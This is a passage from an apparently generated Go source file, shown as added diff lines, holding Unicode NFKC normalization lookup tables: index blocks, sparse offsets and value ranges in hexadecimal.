0x14b2, + 0x17d8: 0x193b, 0x17d9: 0x178d, 0x17da: 0x14be, 0x17db: 0x14ba, 0x17dc: 0x14c6, 0x17dd: 0x1792, + 0x17de: 0x14d2, 0x17df: 0x14de, 0x17e0: 0x1940, 0x17e1: 0x1945, 0x17e2: 0x151e, 0x17e3: 0x152a, + 0x17e4: 0x1532, 0x17e5: 0x194a, 0x17e6: 0x1536, 0x17e7: 0x1562, 0x17e8: 0x156e, 0x17e9: 0x1572, + 0x17ea: 0x156a, 0x17eb: 0x157e, 0x17ec: 0x1582, 0x17ed: 0x194f, 0x17ee: 0x158e, 0x17ef: 0x078e, + 0x17f0: 0x1596, 0x17f1: 0x1954, 0x17f2: 0x0792, 0x17f3: 0x15ce, 0x17f4: 0x0bbe, 0x17f5: 0x15e6, + 0x17f6: 0x1959, 0x17f7: 0x1963, 0x17f8: 0x0796, 0x17f9: 0x079a, 0x17fa: 0x160e, 0x17fb: 0x1968, + 0x17fc: 0x079e, 0x17fd: 0x196d, 0x17fe: 0x1626, 0x17ff: 0x1626, + // Block 0x60, offset 0x1800 + 0x1800: 0x162e, 0x1801: 0x1972, 0x1802: 0x1646, 0x1803: 0x07a2, 0x1804: 0x1656, 0x1805: 0x1662, + 0x1806: 0x166a, 0x1807: 0x1672, 0x1808: 0x07a6, 0x1809: 0x1977, 0x180a: 0x1686, 0x180b: 0x16a2, + 0x180c: 0x16ae, 0x180d: 0x07aa, 0x180e: 0x07ae, 0x180f: 0x16b2, 0x1810: 0x197c, 0x1811: 0x07b2, + 0x1812: 0x1981, 0x1813: 0x1986, 0x1814: 0x198b, 0x1815: 0x16d6, 0x1816: 0x07b6, 0x1817: 0x16ea, + 0x1818: 0x16f2, 0x1819: 0x16f6, 0x181a: 0x16fe, 0x181b: 0x1706, 0x181c: 0x170e, 0x181d: 0x1995, +} + +// nfkcIndex: 22 blocks, 1408 entries, 2816 bytes +// Block 0 is the zero block. +var nfkcIndex = [1408]uint16{ + // Block 0x0, offset 0x0 + // Block 0x1, offset 0x40 + // Block 0x2, offset 0x80 + // Block 0x3, offset 0xc0 + 0xc2: 0x5f, 0xc3: 0x01, 0xc4: 0x02, 0xc5: 0x03, 0xc6: 0x60, 0xc7: 0x04, + 0xc8: 0x05, 0xca: 0x61, 0xcb: 0x62, 0xcc: 0x06, 0xcd: 0x07, 0xce: 0x08, 0xcf: 0x09, + 0xd0: 0x0a, 0xd1: 0x63, 0xd2: 0x64, 0xd3: 0x0b, 0xd6: 0x0c, 0xd7: 0x65, + 0xd8: 0x66, 0xd9: 0x0d, 0xdb: 0x67, 0xdc: 0x68, 0xdd: 0x69, 0xdf: 0x6a, + 0xe0: 0x02, 0xe1: 0x03, 0xe2: 0x04, 0xe3: 0x05, + 0xea: 0x06, 0xeb: 0x07, 0xec: 0x08, 0xed: 0x09, 0xef: 0x0a, + 0xf0: 0x13, + // Block 0x4, offset 0x100 + 0x120: 0x6b, 0x121: 0x6c, 0x122: 0x6d, 0x123: 0x0e, 0x124: 0x6e, 0x125: 0x6f, 0x126: 0x70, 0x127: 0x71, + 0x128: 0x72, 0x129: 0x73, 0x12a: 0x74, 0x12b: 0x75, 0x12c: 0x70, 0x12d: 0x76, 0x12e: 0x77, 0x12f: 0x78, + 0x130: 0x74, 0x131: 0x79, 0x132: 0x7a, 0x133: 0x7b, 0x134: 0x7c, 0x135: 0x7d, 0x137: 0x7e, + 0x138: 0x7f, 0x139: 0x80, 0x13a: 0x81, 0x13b: 0x82, 0x13c: 0x83, 0x13d: 0x84, 0x13e: 0x85, 0x13f: 0x86, + // Block 0x5, offset 0x140 + 0x140: 0x87, 0x142: 0x88, 0x143: 0x89, 0x144: 0x8a, 0x145: 0x8b, 0x146: 0x8c, 0x147: 0x8d, + 0x14d: 0x8e, + 0x15c: 0x8f, 0x15f: 0x90, + 0x162: 0x91, 0x164: 0x92, + 0x168: 0x93, 0x169: 0x94, 0x16a: 0x95, 0x16b: 0x96, 0x16c: 0x0f, 0x16d: 0x97, 0x16e: 0x98, 0x16f: 0x99, + 0x170: 0x9a, 0x173: 0x9b, 0x174: 0x9c, 0x175: 0x10, 0x176: 0x11, 0x177: 0x12, + 0x178: 0x13, 0x179: 0x14, 0x17a: 0x15, 0x17b: 0x16, 0x17c: 0x17, 0x17d: 0x18, 0x17e: 0x19, 0x17f: 0x1a, + // Block 0x6, offset 0x180 + 0x180: 0x9d, 0x181: 0x9e, 0x182: 0x9f, 0x183: 0xa0, 0x184: 0x1b, 0x185: 0x1c, 0x186: 0xa1, 0x187: 0xa2, + 0x188: 0xa3, 0x189: 0x1d, 0x18a: 0x1e, 0x18b: 0xa4, 0x18c: 0xa5, + 0x191: 0x1f, 0x192: 0x20, 0x193: 0xa6, + 0x1a8: 0xa7, 0x1a9: 0xa8, 0x1ab: 0xa9, + 0x1b1: 0xaa, 0x1b3: 0xab, 0x1b5: 0xac, 0x1b7: 0xad, + 0x1ba: 0xae, 0x1bb: 0xaf, 0x1bc: 0x21, 0x1bd: 0x22, 0x1be: 0x23, 0x1bf: 0xb0, + // Block 0x7, offset 0x1c0 + 0x1c0: 0xb1, 0x1c1: 0x24, 0x1c2: 0x25, 0x1c3: 0x26, 0x1c4: 0xb2, 0x1c5: 0x27, 0x1c6: 0x28, + 0x1c8: 0x29, 0x1c9: 0x2a, 0x1ca: 0x2b, 0x1cb: 0x2c, 0x1cc: 0x2d, 0x1cd: 0x2e, 0x1ce: 0x2f, 0x1cf: 0x30, + // Block 0x8, offset 0x200 + 0x219: 0xb3, 0x21a: 0xb4, 0x21b: 0xb5, 0x21d: 0xb6, 0x21f: 0xb7, + 0x220: 0xb8, 0x223: 0xb9, 0x224: 0xba, 0x225: 0xbb, 0x226: 0xbc, 0x227: 0xbd, + 0x22a: 0xbe, 0x22b: 0xbf, 0x22d: 0xc0, 0x22f: 0xc1, + 0x230: 0xc2, 0x231: 0xc3, 0x232: 0xc4, 0x233: 0xc5, 0x234: 0xc6, 0x235: 0xc7, 0x236: 0xc8, 0x237: 0xc2, + 0x238: 0xc3, 0x239: 0xc4, 0x23a: 0xc5, 0x23b: 0xc6, 0x23c: 0xc7, 0x23d: 0xc8, 0x23e: 0xc2, 0x23f: 0xc3, + // Block 0x9, offset 0x240 + 0x240: 0xc4, 0x241: 0xc5, 0x242: 0xc6, 0x243: 0xc7, 0x244: 0xc8, 0x245: 0xc2, 0x246: 0xc3, 0x247: 0xc4, + 0x248: 0xc5, 0x249: 0xc6, 0x24a: 0xc7, 0x24b: 0xc8, 0x24c: 0xc2, 0x24d: 0xc3, 0x24e: 0xc4, 0x24f: 0xc5, + 0x250: 0xc6, 0x251: 0xc7, 0x252: 0xc8, 0x253: 0xc2, 0x254: 0xc3, 0x255: 0xc4, 0x256: 0xc5, 0x257: 0xc6, + 0x258: 0xc7, 0x259: 0xc8, 0x25a: 0xc2, 0x25b: 0xc3, 0x25c: 0xc4, 0x25d: 0xc5, 0x25e: 0xc6, 0x25f: 0xc7, + 0x260: 0xc8, 0x261: 0xc2, 0x262: 0xc3, 0x263: 0xc4, 0x264: 0xc5, 0x265: 0xc6, 0x266: 0xc7, 0x267: 0xc8, + 0x268: 0xc2, 0x269: 0xc3, 0x26a: 0xc4, 0x26b: 0xc5, 0x26c: 0xc6, 0x26d: 0xc7, 0x26e: 0xc8, 0x26f: 0xc2, + 0x270: 0xc3, 0x271: 0xc4, 0x272: 0xc5, 0x273: 0xc6, 0x274: 0xc7, 0x275: 0xc8, 0x276: 0xc2, 0x277: 0xc3, + 0x278: 0xc4, 0x279: 0xc5, 0x27a: 0xc6, 0x27b: 0xc7, 0x27c: 0xc8, 0x27d: 0xc2, 0x27e: 0xc3, 0x27f: 0xc4, + // Block 0xa, offset 0x280 + 0x280: 0xc5, 0x281: 0xc6, 0x282: 0xc7, 0x283: 0xc8, 0x284: 0xc2, 0x285: 0xc3, 0x286: 0xc4, 0x287: 0xc5, + 0x288: 0xc6, 0x289: 0xc7, 0x28a: 0xc8, 0x28b: 0xc2, 0x28c: 0xc3, 0x28d: 0xc4, 0x28e: 0xc5, 0x28f: 0xc6, + 0x290: 0xc7, 0x291: 0xc8, 0x292: 0xc2, 0x293: 0xc3, 0x294: 0xc4, 0x295: 0xc5, 0x296: 0xc6, 0x297: 0xc7, + 0x298: 0xc8, 0x299: 0xc2, 0x29a: 0xc3, 0x29b: 0xc4, 0x29c: 0xc5, 0x29d: 0xc6, 0x29e: 0xc7, 0x29f: 0xc8, + 0x2a0: 0xc2, 0x2a1: 0xc3, 0x2a2: 0xc4, 0x2a3: 0xc5, 0x2a4: 0xc6, 0x2a5: 0xc7, 0x2a6: 0xc8, 0x2a7: 0xc2, + 0x2a8: 0xc3, 0x2a9: 0xc4, 0x2aa: 0xc5, 0x2ab: 0xc6, 0x2ac: 0xc7, 0x2ad: 0xc8, 0x2ae: 0xc2, 0x2af: 0xc3, + 0x2b0: 0xc4, 0x2b1: 0xc5, 0x2b2: 0xc6, 0x2b3: 0xc7, 0x2b4: 0xc8, 0x2b5: 0xc2, 0x2b6: 0xc3, 0x2b7: 0xc4, + 0x2b8: 0xc5, 0x2b9: 0xc6, 0x2ba: 0xc7, 0x2bb: 0xc8, 0x2bc: 0xc2, 0x2bd: 0xc3, 0x2be: 0xc4, 0x2bf: 0xc5, + // Block 0xb, offset 0x2c0 + 0x2c0: 0xc6, 0x2c1: 0xc7, 0x2c2: 0xc8, 0x2c3: 0xc2, 0x2c4: 0xc3, 0x2c5: 0xc4, 0x2c6: 0xc5, 0x2c7: 0xc6, + 0x2c8: 0xc7, 0x2c9: 0xc8, 0x2ca: 0xc2, 0x2cb: 0xc3, 0x2cc: 0xc4, 0x2cd: 0xc5, 0x2ce: 0xc6, 0x2cf: 0xc7, + 0x2d0: 0xc8, 0x2d1: 0xc2, 0x2d2: 0xc3, 0x2d3: 0xc4, 0x2d4: 0xc5, 0x2d5: 0xc6, 0x2d6: 0xc7, 0x2d7: 0xc8, + 0x2d8: 0xc2, 0x2d9: 0xc3, 0x2da: 0xc4, 0x2db: 0xc5, 0x2dc: 0xc6, 0x2dd: 0xc7, 0x2de: 0xc9, + // Block 0xc, offset 0x300 + 0x324: 0x31, 0x325: 0x32, 0x326: 0x33, 0x327: 0x34, + 0x328: 0x35, 0x329: 0x36, 0x32a: 0x37, 0x32b: 0x38, 0x32c: 0x39, 0x32d: 0x3a, 0x32e: 0x3b, 0x32f: 0x3c, + 0x330: 0x3d, 0x331: 0x3e, 0x332: 0x3f, 0x333: 0x40, 0x334: 0x41, 0x335: 0x42, 0x336: 0x43, 0x337: 0x44, + 0x338: 0x45, 0x339: 0x46, 0x33a: 0x47, 0x33b: 0x48, 0x33c: 0xca, 0x33d: 0x49, 0x33e: 0x4a, 0x33f: 0x4b, + // Block 0xd, offset 0x340 + 0x347: 0xcb, + 0x34b: 0xcc, 0x34d: 0xcd, + 0x35e: 0x4c, + 0x368: 0xce, 0x36b: 0xcf, + 0x374: 0xd0, + 0x37a: 0xd1, 0x37b: 0xd2, 0x37d: 0xd3, 0x37e: 0xd4, + // Block 0xe, offset 0x380 + 0x381: 0xd5, 0x382: 0xd6, 0x384: 0xd7, 0x385: 0xbc, 0x387: 0xd8, + 0x388: 0xd9, 0x38b: 0xda, 0x38c: 0xdb, 0x38d: 0xdc, + 0x391: 0xdd, 0x392: 0xde, 0x393: 0xdf, 0x396: 0xe0, 0x397: 0xe1, + 0x398: 0xe2, 0x39a: 0xe3, 0x39c: 0xe4, + 0x3a0: 0xe5, 0x3a4: 0xe6, 0x3a5: 0xe7, 0x3a7: 0xe8, + 0x3a8: 0xe9, 0x3a9: 0xea, 0x3aa: 0xeb, + 0x3b0: 0xe2, 0x3b5: 0xec, 0x3b6: 0xed, + 0x3bd: 0xee, + // Block 0xf, offset 0x3c0 + 0x3eb: 0xef, 0x3ec: 0xf0, + 0x3ff: 0xf1, + // Block 0x10, offset 0x400 + 0x432: 0xf2, + // Block 0x11, offset 0x440 + 0x445: 0xf3, 0x446: 0xf4, 0x447: 0xf5, + 0x449: 0xf6, + 0x450: 0xf7, 0x451: 0xf8, 0x452: 0xf9, 0x453: 0xfa, 0x454: 0xfb, 0x455: 0xfc, 0x456: 0xfd, 0x457: 0xfe, + 0x458: 0xff, 0x459: 0x100, 0x45a: 0x4d, 0x45b: 0x101, 0x45c: 0x102, 0x45d: 0x103, 0x45e: 0x104, 0x45f: 0x4e, + // Block 0x12, offset 0x480 + 0x480: 0x4f, 0x481: 0x50, 0x482: 0x105, 0x484: 0xf0, + 0x48a: 0x106, 0x48b: 0x107, + 0x493: 0x108, + 0x4a3: 0x109, 0x4a5: 0x10a, + 0x4b8: 0x51, 0x4b9: 0x52, 0x4ba: 0x53, + // Block 0x13, offset 0x4c0 + 0x4c4: 0x54, 0x4c5: 0x10b, 0x4c6: 0x10c, + 0x4c8: 0x55, 0x4c9: 0x10d, + 0x4ef: 0x10e, + // Block 0x14, offset 0x500 + 0x520: 0x56, 0x521: 0x57, 0x522: 0x58, 0x523: 0x59, 0x524: 0x5a, 0x525: 0x5b, 0x526: 0x5c, 0x527: 0x5d, + 0x528: 0x5e, + // Block 0x15, offset 0x540 + 0x550: 0x0b, 0x551: 0x0c, 0x556: 0x0d, + 0x55b: 0x0e, 0x55d: 0x0f, 0x55e: 0x10, 0x55f: 0x11, + 0x56f: 0x12, +} + +// nfkcSparseOffset: 176 entries, 352 bytes +var nfkcSparseOffset = []uint16{0x0, 0xe, 0x12, 0x1c, 0x26, 0x36, 0x38, 0x3d, 0x48, 0x57, 0x64, 0x6c, 0x71, 0x76, 0x78, 0x7c, 0x84, 0x8b, 0x8e, 0x96, 0x9a, 0x9e, 0xa0, 0xa2, 0xab, 0xaf, 0xb6, 0xbb, 0xbe, 0xc8, 0xcb, 0xd2, 0xda, 0xde, 0xe0, 0xe4, 0xe8, 0xee, 0xff, 0x10b, 0x10d, 0x113, 0x115, 0x117, 0x119, 0x11b, 0x11d, 0x11f, 0x121, 0x124, 0x127, 0x129, 0x12c, 0x12f, 0x133, 0x139, 0x140, 0x149, 0x14b, 0x14e, 0x150, 0x15b, 0x166, 0x174, 0x182, 0x192, 0x1a0, 0x1a7, 0x1ad, 0x1bc, 0x1c0, 0x1c2, 0x1c6, 0x1c8, 0x1cb, 0x1cd, 0x1d0, 0x1d2, 0x1d5, 0x1d7, 0x1d9, 0x1db, 0x1e7, 0x1f1, 0x1fb, 0x1fe, 0x202, 0x204, 0x206, 0x20b, 0x20e, 0x211, 0x213, 0x215, 0x217, 0x219, 0x21f, 0x222, 0x227, 0x229, 0x230, 0x236, 0x23c, 0x244, 0x24a, 0x250, 0x256, 0x25a, 0x25c, 0x25e, 0x260, 0x262, 0x268, 0x26b, 0x26d, 0x26f, 0x271, 0x277, 0x27b, 0x27f, 0x287, 0x28e, 0x291, 0x294, 0x296, 0x299, 0x2a1, 0x2a5, 0x2ac, 0x2af, 0x2b5, 0x2b7, 0x2b9, 0x2bc, 0x2be, 0x2c1, 0x2c6, 0x2c8, 0x2ca, 0x2cc, 0x2ce, 0x2d0, 0x2d3, 0x2d5, 0x2d7, 0x2d9, 0x2db, 0x2dd, 0x2df, 0x2ec, 0x2f6, 0x2f8, 0x2fa, 0x2fe, 0x303, 0x30f, 0x314, 0x31d, 0x323, 0x328, 0x32c, 0x331, 0x335, 0x345, 0x353, 0x361, 0x36f, 0x371, 0x373, 0x375, 0x379, 0x37b, 0x37e, 0x389, 0x38b, 0x395} + +// nfkcSparseValues: 919 entries, 3676 bytes +var nfkcSparseValues = [919]valueRange{ + // Block 0x0, offset 0x0 + {value: 0x0002, lo: 0x0d}, + {value: 0x0001, lo: 0xa0, hi: 0xa0}, + {value: 0x43b9, lo: 0xa8, hi: 0xa8}, + {value: 0x0083, lo: 0xaa, hi: 0xaa}, + {value: 0x43a5, lo: 0xaf, hi: 0xaf}, + {value: 0x0025, lo: 0xb2, hi: 0xb3}, + {value: 0x439b, lo: 0xb4, hi: 0xb4}, + {value: 0x0260, lo: 0xb5, hi: 0xb5}, + {value: 0x43d2, lo: 0xb8, hi: 0xb8}, + {value: 0x0023, lo: 0xb9, hi: 0xb9}, + {value: 0x009f, lo: 0xba, hi: 0xba}, + {value: 0x234c, lo: 0xbc, hi: 0xbc}, + {value: 0x2340, lo: 0xbd, hi: 0xbd}, + {value: 0x23e2, lo: 0xbe, hi: 0xbe}, + // Block 0x1, offset 0xe + {value: 0x0091, lo: 0x03}, + {value: 0x4823, lo: 0xa0, hi: 0xa1}, + {value: 0x4855, lo: 0xaf, hi: 0xb0}, + {value: 0xa000, lo: 0xb7, hi: 0xb7}, + // Block 0x2, offset 0x12 + {value: 0x0004, lo: 0x09}, + {value: 0xa000, lo: 0x92, hi: 0x92}, + {value: 0x0091, lo: 0xb0, hi: 0xb0}, + {value: 0x0140, lo: 0xb1, hi: 0xb1}, + {value: 0x0095, lo: 0xb2, hi: 0xb2}, + {value: 0x00a5, lo: 0xb3, hi: 0xb3}, + {value: 0x0179, lo: 0xb4, hi: 0xb4}, + {value: 0x017f, lo: 0xb5, hi: 0xb5}, + {value: 0x018b, lo: 0xb6, hi: 0xb6}, + {value: 0x00af, lo: 0xb7, hi: 0xb8}, + // Block 0x3, offset 0x1c + {value: 0x000a, lo: 0x09}, + {value: 0x43af, lo: 0x98, hi: 0x98}, + {value: 0x43b4, lo: 0x99, hi: 0x9a}, + {value: 0x43d7, lo: 0x9b, hi: 0x9b}, + {value: 0x43a0, lo: 0x9c, hi: 0x9c}, + {value: 0x43c3, lo: 0x9d, hi: 0x9d}, + {value: 0x0137, lo: 0xa0, hi: 0xa0}, + {value: 0x0099, lo: 0xa1, hi: 0xa1}, + {value: 0x00a7, lo: 0xa2, hi: 0xa3}, + {value: 0x01b8, lo: 0xa4, hi: 0xa4}, + // Block 0x4, offset 0x26 + {value: 0x0000, lo: 0x0f}, + {value: 0xa000, lo: 0x83, hi: 0x83}, + {value: 0xa000, lo: 0x87, hi: 0x87}, + {value: 0xa000, lo: 0x8b, hi: 0x8b}, + {value: 0xa000, lo: 0x8d, hi: 0x8d}, + {value: 0x38e6, lo: 0x90, hi: 0x90}, + {value: 0x38f2, lo: 0x91, hi: 0x91}, + {value: 0x38e0, lo: 0x93, hi: 0x93}, + {value: 0xa000, lo: 0x96, hi: 0x96}, + {value: 0x3958, lo: 0x97, hi: 0x97}, + {value: 0x3922, lo: 0x9c, hi: 0x9c}, + {value: 0x390a, lo: 0x9d, hi: 0x9d}, + {value: 0x3934, lo: 0x9e, hi: 0x9e}, + {value: 0xa000, lo: 0xb4, hi: 0xb5}, + {value: 0x395e, lo: 0xb6, hi: 0xb6}, + {value: 0x3964, lo: 0xb7, hi: 0xb7}, + // Block 0x5, offset 0x36 + {value: 0x0000, lo: 0x01}, + {value: 0x8133, lo: 0x83, hi: 0x87}, + // Block 0x6, offset 0x38 + {value: 0x0001, lo: 0x04}, + {value: 0x8114, lo: 0x81, hi: 0x82}, + {value: 0x8133, lo: 0x84, hi: 0x84}, + {value: 0x812e, lo: 0x85, hi: 0x85}, + {value: 0x810e, lo: 0x87, hi: 0x87}, + // Block 0x7, offset 0x3d + {value: 0x0000, lo: 0x0a}, + {value: 0x8133, lo: 0x90, hi: 0x97}, + {value: 0x811a, lo: 0x98, hi: 0x98}, + {value: 0x811b, lo: 0x99, hi: 0x99}, + {value: 0x811c, lo: 0x9a, hi: 0x9a}, + {value: 0x3982, lo: 0xa2, hi: 0xa2}, + {value: 0x3988, lo: 0xa3, hi: 0xa3}, + {value: 0x3994, lo: 0xa4, hi: 0xa4}, + {value: 0x398e, lo: 0xa5, hi: 0xa5}, + {value: 0x399a, lo: 0xa6, hi: 0xa6}, + {value: 0xa000, lo: 0xa7, hi: 0xa7}, + // Block 0x8, offset 0x48 + {value: 0x0000, lo: 0x0e}, + {value: 0x39ac, lo: 0x80, hi: 0x80}, + {value: 0xa000, lo: 0x81, hi: 0x81}, + {value: 0x39a0, lo: 0x82, hi: 0x82}, + {value: 0xa000, lo: 0x92, hi: 0x92}, + {value: 0x39a6, lo: 0x93, hi: 0x93}, + {value: 0xa000, lo: 0x95, hi: 0x95}, + {value: 0x8133, lo: 0x96, hi: 0x9c}, + {value: 0x8133, lo: 0x9f, hi: 0xa2}, + {value: 0x812e, lo: 0xa3, hi: 0xa3}, + {value: 0x8133, lo: 0xa4, hi: 0xa4}, + {value: 0x8133, lo: 0xa7, hi: 0xa8}, + {value: 0x812e, lo: 0xaa, hi: 0xaa}, + {value: 0x8133, lo: 0xab, hi: 0xac}, + {value: 0x812e, lo: 0xad, hi: 0xad}, + // Block 0x9, offset 0x57 + {value: 0x0000, lo: 0x0c}, + {value: 0x8120, lo: 0x91, hi: 0x91}, + {value: 0x8133, lo: 0xb0, hi: 0xb0}, + {value: 0x812e, lo: 0xb1, hi: 0xb1}, + {value: 0x8133, lo: 0xb2, hi: 0xb3}, + {value: 0x812e, lo: 0xb4, hi: 0xb4}, + {value: 0x8133, lo: 0xb5, hi: 0xb6}, + {value: 0x812e, lo: 0xb7, hi: 0xb9}, + {value: 0x8133, lo: 0xba, hi: 0xba}, + {value: 0x812e, lo: 0xbb, hi: 0xbc}, + {value: 0x8133, lo: 0xbd, hi: 0xbd}, + {value: 0x812e, lo: 0xbe, hi: 0xbe}, + {value: 0x8133, lo: 0xbf, hi: 0xbf}, + // Block 0xa, offset 0x64 + {value: 0x0005, lo: 0x07}, + {value: 0x8133, lo: 0x80, hi: 0x80}, + {value: 0x8133, lo: 0x81, hi: 0x81}, + {value: 0x812e, lo: 0x82, hi: 0x83}, + {value: 0x812e, lo: 0x84, hi: 0x85}, + {value: 0x812e, lo: 0x86, hi: 0x87}, + {value: 0x812e, lo: 0x88, hi: 0x89}, + {value: 0x8133, lo: 0x8a, hi: 0x8a}, + // Block 0xb, offset 0x6c + {value: 0x0000, lo: 0x04}, + {value: 0x8133, lo: 0xab, hi: 0xb1}, + {value: 0x812e, lo: 0xb2, hi: 0xb2}, + {value: 0x8133, lo: 0xb3, hi: 0xb3}, + {value: 0x812e, lo: 0xbd, hi: 0xbd}, + // Block 0xc, offset 0x71 + {value: 0x0000, lo: 0x04}, + {value: 0x8133, lo: 0x96, hi: 0x99}, + {value: 0x8133, lo: 0x9b, hi: 0xa3}, + {value: 0x8133, lo: 0xa5, hi: 0xa7}, + {value: 0x8133, lo: 0xa9, hi: 0xad}, + // Block 0xd, offset 0x76 + {value: 0x0000, lo: 0x01}, + {value: 0x812e, lo: 0x99, hi: 0x9b}, + // Block 0xe, offset 0x78 + {value: 0x0000, lo: 0x03}, + {value: 0x8133, lo: 0x98, hi: 0x98}, + {value: 0x812e, lo: 0x99, hi: 0x9b}, + {value: 0x8133, lo: 0x9c, hi: 0x9f}, + // Block 0xf, offset 0x7c + {value: 0x0000, lo: 0x07}, + {value: 0xa000, lo: 0xa8, hi: 0xa8}, + {value: 0x4019, lo: 0xa9, hi: 0xa9}, + {value: 0xa000, lo: 0xb0, hi: 0xb0}, + {value: 0x4021, lo: 0xb1, hi: 0xb1}, + {value: 0xa000, lo: 0xb3, hi: 0xb3}, + {value: 0x4029, lo: 0xb4, hi: 0xb4}, + {value: 0x9903, lo: 0xbc, hi: 0xbc}, + // Block 0x10, offset 0x84 + {value: 0x0008, lo: 0x06}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x8133, lo: 0x91, hi: 0x91}, + {value: 0x812e, lo: 0x92, hi: 0x92}, + {value: 0x8133, lo: 0x93, hi: 0x93}, + {value: 0x8133, lo: 0x94, hi: 0x94}, + {value: 0x465d, lo: 0x98, hi: 0x9f}, + // Block 0x11, offset 0x8b + {value: 0x0000, lo: 0x02}, + {value: 0x8103, lo: 0xbc, hi: 0xbc}, + {value: 0x9900, lo: 0xbe, hi: 0xbe}, + // Block 0x12, offset 0x8e + {value: 0x0008, lo: 0x07}, + {value: 0xa000, lo: 0x87, hi: 0x87}, + {value: 0x2dd5, lo: 0x8b, hi: 0x8c}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x9900, lo: 0x97, hi: 0x97}, + {value: 0x469d, lo: 0x9c, hi: 0x9d}, + {value: 0x46ad, lo: 0x9f, hi: 0x9f}, + {value: 0x8133, lo: 0xbe, hi: 0xbe}, + // Block 0x13, offset 0x96 + {value: 0x0000, lo: 0x03}, + {value: 0x46d5, lo: 0xb3, hi: 0xb3}, + {value: 0x46dd, lo: 0xb6, hi: 0xb6}, + {value: 0x8103, lo: 0xbc, hi: 0xbc}, + // Block 0x14, offset 0x9a + {value: 0x0008, lo: 0x03}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x46b5, lo: 0x99, hi: 0x9b}, + {value: 0x46cd, lo: 0x9e, hi: 0x9e}, + // Block 0x15, offset 0x9e + {value: 0x0000, lo: 0x01}, + {value: 0x8103, lo: 0xbc, hi: 0xbc}, + // Block 0x16, offset 0xa0 + {value: 0x0000, lo: 0x01}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + // Block 0x17, offset 0xa2 + {value: 0x0000, lo: 0x08}, + {value: 0xa000, lo: 0x87, hi: 0x87}, + {value: 0x2ded, lo: 0x88, hi: 0x88}, + {value: 0x2de5, lo: 0x8b, hi: 0x8b}, + {value: 0x2df5, lo: 0x8c, hi: 0x8c}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x9900, lo: 0x96, hi: 0x97}, + {value: 0x46e5, lo: 0x9c, hi: 0x9c}, + {value: 0x46ed, lo: 0x9d, hi: 0x9d}, + // Block 0x18, offset 0xab + {value: 0x0000, lo: 0x03}, + {value: 0xa000, lo: 0x92, hi: 0x92}, + {value: 0x2dfd, lo: 0x94, hi: 0x94}, + {value: 0x9900, lo: 0xbe, hi: 0xbe}, + // Block 0x19, offset 0xaf + {value: 0x0000, lo: 0x06}, + {value: 0xa000, lo: 0x86, hi: 0x87}, + {value: 0x2e05, lo: 0x8a, hi: 0x8a}, + {value: 0x2e15, lo: 0x8b, hi: 0x8b}, + {value: 0x2e0d, lo: 0x8c, hi: 0x8c}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x9900, lo: 0x97, hi: 0x97}, + // Block 0x1a, offset 0xb6 + {value: 0x1801, lo: 0x04}, + {value: 0xa000, lo: 0x86, hi: 0x86}, + {value: 0x4031, lo: 0x88, hi: 0x88}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x8121, lo: 0x95, hi: 0x96}, + // Block 0x1b, offset 0xbb + {value: 0x0000, lo: 0x02}, + {value: 0x8103, lo: 0xbc, hi: 0xbc}, + {value: 0xa000, lo: 0xbf, hi: 0xbf}, + // Block 0x1c, offset 0xbe + {value: 0x0000, lo: 0x09}, + {value: 0x2e1d, lo: 0x80, hi: 0x80}, + {value: 0x9900, lo: 0x82, hi: 0x82}, + {value: 0xa000, lo: 0x86, hi: 0x86}, + {value: 0x2e25, lo: 0x87, hi: 0x87}, + {value: 0x2e2d, lo: 0x88, hi: 0x88}, + {value: 0x3091, lo: 0x8a, hi: 0x8a}, + {value: 0x2f19, lo: 0x8b, hi: 0x8b}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x9900, lo: 0x95, hi: 0x96}, + // Block 0x1d, offset 0xc8 + {value: 0x0000, lo: 0x02}, + {value: 0x8105, lo: 0xbb, hi: 0xbc}, + {value: 0x9900, lo: 0xbe, hi: 0xbe}, + // Block 0x1e, offset 0xcb + {value: 0x0000, lo: 0x06}, + {value: 0xa000, lo: 0x86, hi: 0x87}, + {value: 0x2e35, lo: 0x8a, hi: 0x8a}, + {value: 0x2e45, lo: 0x8b, hi: 0x8b}, + {value: 0x2e3d, lo: 0x8c, hi: 0x8c}, + {value: 0x8105, lo: 0x8d, hi: 0x8d}, + {value: 0x9900, lo: 0x97, hi: 0x97}, + // Block 0x1f, offset 0xd2 + {value: 0x6ab3, lo: 0x07}, + {value: 0x9905, lo: 0x8a, hi: 0x8a}, + {value: 0x9900, lo: 0x8f, hi: 0x8f}, + {value: 0xa000, lo: 0x99, hi: 0x99}, + {value: 0x4039, lo: 0x9a, hi: 0x9a}, + {value: 0x3099, lo: 0x9c, hi: 0x9c}, + {value: 0x2f24, lo: 0x9d, hi: 0x9d}, + {value: 0x2e4d, lo: 0x9e, hi: 0x9f}, + // Block 0x20, offset 0xda + {value: 0x0000, lo: 0x03}, + {value: 0x2751, lo: 0xb3, hi: 0xb3}, + {value: 0x8123, lo: 0xb8, hi: 0xb9}, + {value: 0x8105, lo: 0xba, hi: 0xba}, + // Block 0x21, offset 0xde + {value: 0x0000, lo: 0x01}, + {value: 0x8124, lo: 0x88, hi: 0x8b}, + // Block 0x22, offset 0xe0 + {value: 0x0000, lo: 0x03}, + {value: 0x2766, lo: 0xb3, hi: 0xb3}, + {value: 0x8125, lo: 0xb8, hi: 0xb9}, + {value: 0x8105, lo: 0xba, hi: 0xba}, + // Block 0x23, offset 0xe4 + {value: 0x0000, lo: 0x03}, + {value: 0x8126, lo: 0x88, hi: 0x8b}, + {value: 0x2758, lo: 0x9c, hi: 0x9c}, + {value: 0x275f, lo: 0x9d, hi: 0x9d}, + // Block 0x24, offset 0xe8 + {value: 0x0000, lo: 0x05}, + {value: 0x03fe, lo: 0x8c, hi: 0x8c}, + {value: 0x812e, lo: 0x98, hi: 0x99}, + {value: 0x812e, lo: 0xb5, hi: 0xb5}, + {value: 0x812e, lo: 0xb7, hi: 0xb7}, + {value: 0x812c, lo: 0xb9, hi: 0xb9}, + // Block 0x25, offset 0xee + {value: 0x0000, lo: 0x10}, + {value: 0x2774, lo: 0x83, hi: 0x83}, + {value: 0x277b, lo: 0x8d, hi: 0x8d}, 